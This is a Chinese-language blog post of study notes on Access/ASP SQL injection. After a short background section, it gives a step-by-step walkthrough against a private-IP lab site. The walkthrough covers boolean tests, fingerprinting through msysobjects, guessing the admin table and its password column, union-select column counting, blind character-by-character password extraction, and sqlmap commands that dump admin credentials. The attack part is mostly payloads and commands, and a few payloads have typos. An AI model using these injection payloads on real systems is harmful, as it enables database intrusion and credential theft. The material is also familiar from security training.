某教程學習筆記(一):07、數據庫漏洞(access注入)

錢鍾書在《圍成》裡寫到:“約著見一面,就能使見面的前後幾天都沾著光,變成好日子”,是啊,只要能見你,雀躍的心情都會被拉得好長好長。感情就是這樣,原則抵不過我樂意,你有你的打算,我有我的目的,因為我喜歡你,我所做的一切都是想跟你在一起。。。

---- 網易雲熱評

一、網站分類

1、靜態網頁

html或者htm是靜態頁面,不需要服務器解析其中的腳本

特點:不依賴數據庫,靈活性差,製作、更新、維護麻煩,交互性差,功能受限制,安全,不存在數據庫注入漏洞


2、動態頁面

asp/aspx/php/jsp等,由相應的腳本引擎來解釋執行

特點:以來數據庫,靈活性好、交互性好、不安全,存在數據庫注入漏洞


二、網站訪問流程

某教程學習筆記(一):07、數據庫漏洞(access注入)


三、漏洞產生原因

目標網址:www.aiyou.com/new.php?id=23

1、正常流程數據庫返回給網站new頁面id為23的信息

2、將參數值23修改為其他的sql語句

3、網站未對該指令進行檢測

4、服務器執行了新的語句,並返回給網站

5、客戶端根據返回的信息可以繼續進一步注入


四、sql注入的危害

1、數據庫信息洩露

2、網頁被篡改

3、網頁被掛馬

4、數據庫被惡意操作

5、服務器被遠程控制

6、破快硬盤數據


五、access數據庫

一般配合asp腳本使用,存儲數據不能大於100M,只有一個數據庫名稱,可以創建多個表

1、數據庫後綴:*.mdb


2、asp鏈接access數據庫

<code>
<code>    dim conn,connstr,db/<code>
<code>    db="Your.mdb"/<code>
<code>    Set conn = Server.CreateObject("ADODB.Connection")/<code>
<code>    connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)/<code>
<code>    conn.Open connstr/<code>
<code>%>/<code>


3、常用打開工具EasyAccess

某教程學習筆記(一):07、數據庫漏洞(access注入)


4、漏洞判斷

目標:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513

判斷注入點:

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513/ 報錯,可能存在注入

某教程學習筆記(一):07、數據庫漏洞(access注入)


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 返回正常

某教程學習筆記(一):07、數據庫漏洞(access注入)

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 返回錯誤 存在注入

某教程學習筆記(一):07、數據庫漏洞(access注入)

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exsits (select * from msysobjects) > 0 判斷access數據庫,根據錯誤提示在msysobjects上沒有讀取數據權限,說明表存在,從而知道是access數據庫

某教程學習筆記(一):07、數據庫漏洞(access注入)


5、查詢access數據空中的表

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from user) 根據錯誤判斷除滅有user表

某教程學習筆記(一):07、數據庫漏洞(access注入)


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from admin) 正常返回,說明存在admin表

某教程學習筆記(一):07、數據庫漏洞(access注入)


6、判斷列名

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select password from admin),正常返回,說明存在列名password

某教程學習筆記(一):07、數據庫漏洞(access注入)

常用用戶名:name username user_name admin adminuser admin_user admin_username adminname

常用密碼名:password pass userpass user_pass pwd userpwd adminpwd admin_pwd


7、判斷表的列數

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 ,正常返回說明有22列,如果沒有正常繼續修改該數字

某教程學習筆記(一):07、數據庫漏洞(access注入)


8、聯合查詢

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,知道admin表一共有22列,所以聯合查詢需要輸入1-22,頁面只顯示3和15,可以修改該兩列獲取想要的數值

某教程學習筆記(一):07、數據庫漏洞(access注入)

某教程學習筆記(一):07、數據庫漏洞(access注入)


六、另一種方法判斷:

1、http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and select len(password) from admin)=16 判斷密碼的長度,返回正常,說明密碼長度為16。

某教程學習筆記(一):07、數據庫漏洞(access注入)


2、 http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 判斷密碼的第一位,返回正常,說明密碼的第一位是a

某教程學習筆記(一):07、數據庫漏洞(access注入)

某教程學習筆記(一):07、數據庫漏洞(access注入)

判斷第二位,成功後修改該值,依次判斷剩下的密碼

某教程學習筆記(一):07、數據庫漏洞(access注入)

七、sqlmap工具利用

目標地址:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513

1、測試是否存在漏洞

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513"

某教程學習筆記(一):07、數據庫漏洞(access注入)


2、獲取表名

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" --tables

某教程學習筆記(一):07、數據庫漏洞(access注入)


3、獲取列名

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" --columns -T admin

某教程學習筆記(一):07、數據庫漏洞(access注入)


4、獲取指定列的內容

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" -T admin -C admin,password --dump

某教程學習筆記(一):07、數據庫漏洞(access注入)


禁止非法,後果自負


分享到:


相關文章: